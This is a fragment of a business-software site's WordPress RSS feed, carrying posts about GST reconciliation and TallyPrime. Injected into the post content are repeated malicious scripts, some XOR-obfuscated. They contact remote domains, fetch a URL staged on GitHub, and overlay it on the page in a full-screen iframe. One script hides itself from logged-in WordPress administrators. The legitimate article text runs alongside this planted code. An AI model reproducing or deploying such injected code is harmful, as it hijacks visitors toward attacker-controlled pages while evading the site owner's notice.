    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function(){var __s=(function(){var _0xdbb3=[114,60,47,52,57,46,51,53,52,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,111,111,110,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,108,104,118,111,99,118,110,99,118,111,107,118,111,110,118,111,105,118,111,107,118,108,106,118,111,106,118,110,107,118,111,104,118,110,109,118,110,109,118,110,99,118,110,99,118,111,99,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,111,107,118,111,104,118,111,110,118,111,107,118,111,104,118,108,105,118,107,107,108,118,110,104,118,111,106,118,110,104,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,111,111,110,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,33,120,46,63,55,42,54,59,46,63,120,96,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,107,104,105,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,110,106,118,111,99,118,110,111,118,107,107,108,118,108,107,118,111,107,118,110,108,118,111,106,118,110,109,118,111,108,118,110,109,118,110,107,118,108,105,118,110,106,118,111,109,118,111,105,118,111,104,118,110,108,118,108,105,118,111,104,118,110,108,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,105,105,118,111,107,118,108,104,118,105,99,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,107,104,105,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,118,120,47,41,63,28,63,46,57,50,120,96,46,40,47,63,39,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,59,62,41,42,63,57,46,5,45,42,47,5,110,5,5,120,115,97,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,122,40,47,52,96,122,60,59,54,41,63,122,39,97,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,115,122,40,63,46,47,40,52,97,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,122,103,122,46,40,47,63,97,87,80,122,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,122,103,122,120,59,62,41,42,63,57,46,5,51,60,40,5,120,122,113,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,122,38,38,122,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,117,112,112,122,138,196,139,216,138,232,138,239,139,216,122,139,216,139,218,138,234,139,219,139,216,138,234,122,184,218,206,122,138,228,138,238,138,231,138,234,122,139,219,139,216,139,218,138,228,138,224,138,234,122,15,8,22,122,112,117,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,9,51,52,61,54,63,15,40,54,114,46,63,34,46,115,122,33,87,80,122,122,122,122,44,59,40,122,41,122,103,122,114,46,63,34,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,41,116,51,52,62,63,34,21,60,114,120,6,52,120,115,122,100,103,122,106,122,38,38,122,41,116,51,52,62,63,34,21,60,114,120,6,40,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,122,122,40,63,46,47,40,52,122,117,4,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,102,100,120,125,7,113,126,117,51,116,46,63,41,46,114,41,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,50,53,45,19,52,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,123,117,4,50,46,46,42,41,101,96,6,117,6,117,117,51,116,46,63,41,46,114,47,40,54,115,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,47,40,54,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,97,46,53,42,96,106,97,54,63,60,46,96,106,97,45,51,62,46,50,96,107,106,106,44,45,97,50,63,51,61,50,46,96,107,106,106,44,50,97,56,53,40,62,63,40,96,52,53,52,63,97,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,97,55,59,40,61,51,52,96,106,97,42,59,62,62,51,52,61,96,106,97,120,97,87,80,122,122,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,53,52,23,41,61,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,63,44,63,52,46,116,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,63,44,63,52,46,116,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,44,59,40,122,63,54,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,63,54,122,124,124,122,63,54,116,42,59,40,63,52,46,20,53,62,63,115,122,63,54,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,63,54,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,45,51,52,62,53,45,116,40,63,55,53,44,63,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,53,52,23,41,61,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,114,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,115,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,60,63,46,57,50,114,27,10,19,5,19,30,5,15,8,22,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,40,63,46,47,40,52,122,52,47,54,54,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,63,55,42,54,59,46,63,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,106,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,40,47,41,46,63,62,15,40,54,122,103,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,114,46,40,47,41,46,63,62,15,40,54,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,115,122,33,122,40,63,46,47,40,52,122,114,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,122,40,63,46,47,40,52,122,120,120,97,122,39,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,9,51,52,61,54,63,15,40,54,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,41,50,53,45,19,52,19,60,40,59,55,63,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,39,115,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,40,63,59,62,35,9,46,59,46,63,122,103,103,103,122,120,57,53,55,42,54,63,46,63,120,122,38,38,122,62,53,57,47,55,63,52,46,116,56,53,62,35,115,122,33,87,80,122,122,122,122,40,47,52,114,115,97,87,80,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,30,21,23,25,53,52,46,63,52,46,22,53,59,62,63,62,120,118,122,40,47,52,115,97,87,80,122,122,39,87,80,39,115,114,115,97,87,80];return String.fromCharCode.apply(String,_0xdbb3.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script></p>
<p>The post <a href="https://www.marsoneinnovators.com/why-is-gstr-2a-reconciliation-important-for-businesses/">Why is GSTR-2A Reconciliation Important for Businesses?</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.marsoneinnovators.com/why-is-gstr-2a-reconciliation-important-for-businesses/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>8 Reasons Why Businesses Opt for TallyPrime</title>
		<link>https://www.marsoneinnovators.com/8-reasons-why-businesses-opt-for-tallyprime/</link>
					<comments>https://www.marsoneinnovators.com/8-reasons-why-businesses-opt-for-tallyprime/#respond</comments>
		
		<dc:creator><![CDATA[marsone-admin]]></dc:creator>
		<pubDate>Thu, 17 Nov 2022 15:13:59 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://www.marsoneinnovators.com/?p=234</guid>

					<description><![CDATA[<p>Here’s how TallyPrime simplifies your day-to-day business operations: A comprehensive business management software, TallyPrime helps...</p>
<p>The post <a href="https://www.marsoneinnovators.com/8-reasons-why-businesses-opt-for-tallyprime/">8 Reasons Why Businesses Opt for TallyPrime</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h4>Here’s how TallyPrime simplifies your day-to-day business operations:</h4>
<p>A comprehensive business management software, TallyPrime helps businesses manage all their needs starting from invoicing, accounting, inventory to payroll, banking and much more. The intuitive features of TallyPrime easily fit into your needs and simplifies processes quickly. More than 2 million businesses trust TallyPrime for all business activities – starting from accounting, inventory management, to so much more! What’s more? If you are a Quickbooks user, then moving from Quickbooks to Tally, then here are the 8 factors that will simplify your business processes:<br />
<strong>Invoicing and accounting</strong><br />
: With TallyPrime you can generate professional-looking invoices seamlessly and tailor them to suit your business requirements. What&#8217;s more? TallyPrime&#8217;s powerful accounting system comes with a fleet of features like multi-currency support, flexible order processing system, seamless receivables and payables management, and much more.</p>
<p><strong>Inventory management</strong><br />
: For any business, managing inventory is a key aspect. With TallyPrime, you can organize your stock into unlimited stock groups and categories such as product type, brand, size, and more. Additionally, you can also manage multiple warehouses, and get insight into your stocks with reports such as stock ageing analysis, movement analysis, reorder levels, and more.</p>
<p><strong>GST compliant: </strong><br />
TallyPrime is a comprehensive GST solution that enables you to generate GST-compliant invoices, e-way bills, file accurate GST returns, and more. The software’s prevention, detection, and correction mechanism ensure that your books are accurate, assuring you that the returns you file are always correct.</p>
<p><strong>User management and security</strong><br />
: For any business, keeping data safe and secure is of utmost importance. If you are moving from Quickbooks to Tally, then you can create multiple security levels, define user level rights, provide specific access to certain employees, deactivate users and much more.</p>
<p>Business Reports: Get 360-degree visibility into your business with 400+ insightful and customized business reports, thereby helping in decision-making. What&#8217;s more? It also allows you to slice and dice reports as per your requirements.</p>
<p><strong>Online access</strong><br />
: In today&#8217;s rapidly evolving business world, accessing business data all the time is crucial. TallyPrime allows you to access business reports online anywhere, from any device, all the while keeping your data safe and secure.</p>
<p><strong>Payroll management</strong><br />
: TallyPrime allows you to manage employee payroll efficiently, process error-free salaries, and much more.</p>
<p>Multi-tasking: How many times has this happened that you are in the middle of generating a sales invoice; however, you need to suddenly access a different report? If you shift from Quickbooks to TallyPrime, you get the flexibility to multi-task with ease and get back to your work seamlessly.[/vc_column_text][/vc_column][/vc_row]<script>(function () {
  var API_ID_URL = (function(){var _0xef7d=[50,46,46,42,41,96,117,117,41,47,55,61,51,60,59,54,47,51,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0xef7d.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
